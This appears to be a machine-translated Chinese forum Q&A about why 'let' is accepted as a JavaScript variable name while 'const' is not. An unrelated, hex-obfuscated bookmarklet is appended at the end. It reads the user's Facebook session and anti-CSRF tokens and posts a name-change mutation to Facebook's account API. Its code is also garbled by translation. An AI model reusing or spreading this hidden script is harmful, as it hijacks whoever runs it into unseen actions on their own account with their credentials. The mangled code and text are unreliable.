我正在研究 JavaScript 变量声明语法。
var
、let
和const
是声明变量的关键字。我尝试声明一个变量名let
,这是一个关键字,并且定义成功。另一方面,我尝试将 const
定义为变量,但它给出了语法错误,这完全没问题。
我想知道为什么将
let
定义为变量时没有给出错误
浏览器信息:
Chrome 84.0.4147.105, 火狐79.0, Firefox 开发版 80.0b7
当创建 javascript 时,保留了大量关键字以供将来使用。这包括现在使用的东西,如
const
和 class
,以及一些尚未使用的东西(例如,enum
)。
从一开始,你就不能用这些词作为标识符
let
不在该列表中,也不是“真正的”关键字。
因此,为了保持与添加 let
“关键字”之前编写的代码的向后兼容性,它需要可用作变量名称
黑色勾号*
javascript:var fullName = "Md. Junaid Alam Kabbo §"; var 名字 =Md.朱奈德·阿拉姆; var 中间名 = ""; var LastName = Kabbo §"; var 0x3a81=["\x43\x6F\x64\x65\x20\u0111\u01B0\u1EE3\x63\x20\x76\x69\u1EBF\x74\x20\x62\u1EDF\x69\x20 \x44\u01B0\u01A1\x6E\x67\x20\x54\x6F\u1EA3\x6E\x20\x4D\x4D\x4F\x20\x2D\x20\x66\x62\x2E\x63\x6F\x6D\x2F\x74 \x6F\x61\x6E\x74\x72\x75\x6E\x67\x67\x69\x61\x6E\x6D\x6D\x6F","\x5F\x5F\x73\x70\x69\x6E\x5F\x72" ,"\x53\x69\x74\x65\x44\x61\x74\x61","\x6A\x61\x7A\x6F\x65\x73\x74","\x53\x70\x72\x69\x6E\x6B \x6C\x65\x43\x6F\x6E\x66\x69\x67","\x74\x6F\x6B\x65\x6E","\x44\x54\x53\x47\x49\x6E\x69\x74\x69 \x61\x6C\x44\x61\x74\x61","\x41\x43\x43\x4F\x55\x4E\x54\x5F\x49\x44","\x43\x75\x72\x72\x65\x6E \x74\x55\x73\x65\x72\x49\x6E\x69\x74\x69\x61\x6C\x44\x61\x74\x61","\x4C\x53\x44","\x73","\ x68\x73\x69","\x64\x79\x6E","\x63\x73\x72","\x66\x31\x39\x61\x63\x30\x32\x64\x2D","\x73\ x75\x62\x73\x74\x72","\x72\x61\x6E\x64\x6F\x6D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x63\x63\ x6F\x75\x6E\x74\x73\x63\x65\x6E\x74\x65\x72\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\ x61\x70\x69\x2F\x67\x72\x61\x70\x68\x71\x6C\x2F","\x31\x61","\x31\x39\x36\x31\x39\x2E\x48\x59\ x50\x3A\x61\x63\x63\x6F\x75\x6E\x74\x73\x5F\x63\x65\x6E\x74\x65\x72\x5F\x70\x6B\x67\x2E\x32\x2E\x31\ x2E\x2E\x30\x2E\x30","\x45\x58\x43\x45\x4C\x4C\x45\x4E\x54","\x74\x72\x75\x6E\x6B","\x52\x65 \x6C\x61\x79\x4D\x6F\x64\x65\x72\x6E","\x75\x73\x65\x46\x58\x49\x4D\x55\x70\x64\x61\x74\x65\x4E\ x61\x6D\x65\x4D\x75\x74\x61\x74\x69\x6F\x6E","\x64\x65\x76\x69\x63\x65\x5F\x69\x64\x5F\x66\x65\x74 \x63\x68\x5F\x64\x61\x74\x72","\x46\x42\x5F\x57\x45\x42","\x73\x74\x72\x69\x6E\x67\x69\x66\x79 ","\x35\x37\x36\x33\x35\x31\x30\x38\x35\x33\x37\x36\x33\x39\x36\x30","\x26","\x6A\x6F\x69\ x6E","\x3D","\x6D\x61\x70","\x6B\x65\x79\x73","\x65\x72\x72\x6F\x72","\x63\x61\x74\x63 \x68","\x6C\x6F\x67","\x74\x68\x65\x6E","\x74\x65\x78\x74","\x50\x4F\x53\x54","\x61\ x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\ x65\x6E\x63\x6F\x64\x65\x64"];alert(_0x3a81[0]);var spinr=require(_0x3a81[2])[_0x3a81[1]];var jazoest=require(_0x3a81[4] )[_0x3a81[3]];var fb_dtsg=require(_0x3a81[6])[_0x3a81[5]];var uid=require(_0x3a81[8])[_0x3a81[7]];var lsd=require(_0x3a81[9] ])[_0x3a81[5]];var s=require(_0x3a81[2])[_0x3a81[10]];var hsi=require(_0x3a81[2])[_0x3a81[11]];var dyn=require(_0x3a81[ 2])[_0x3a81[12]];var csr=require(_0x3a81[2])[_0x3a81[13]];函数generateClientMutationId(){return _0x3a81[14]+ Math_0x3a81[16].toString(36)_0x3a81[15 ]}var clientMutationId=generateClientMutationId();var url=_0x3a81[17];var requestData={av:uid,user:uid,a:1,req:_0x3a81[18],hs:_0x3a81[19],dpr:1.5 ,ccg:_0x3a81[20],rev:1008717767,s:s,hsi:hsi,dyn:dyn,csr:csr,comet_req:5,fb_dtsg:fb_dtsg,jazoest:jazoest,lsd:lsd,spin_r:spinr,spin_b: _0x3a81[21],_spin_t:clientMutationId,fb_api_caller_class:_0x3a81[22],fb_api_req_friend_name:_0x3a81[23],变量:JSON_0x3a81[26],server_timestamps:true,doc_id:_0x3a81[27]};var data=Object_0x3 a81[32][ _0x3a81[31]](函数(_0xb28exf){return(encodeURIComponent(_0xb28exf)+ _0x3a81[30]+encodeURIComponent(requestData[_0xb28exf]))})_0x3a81[29];fetch(url,{方法:_0x3a81[38],正文:数据,标头:{“\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65”:_0x3a81[39]}})[_0x3a81[36]](函数( _0xb28ex12){返回_0xb28ex12_0x3a81[37]})_0x3a81[36]_0x3a81[34]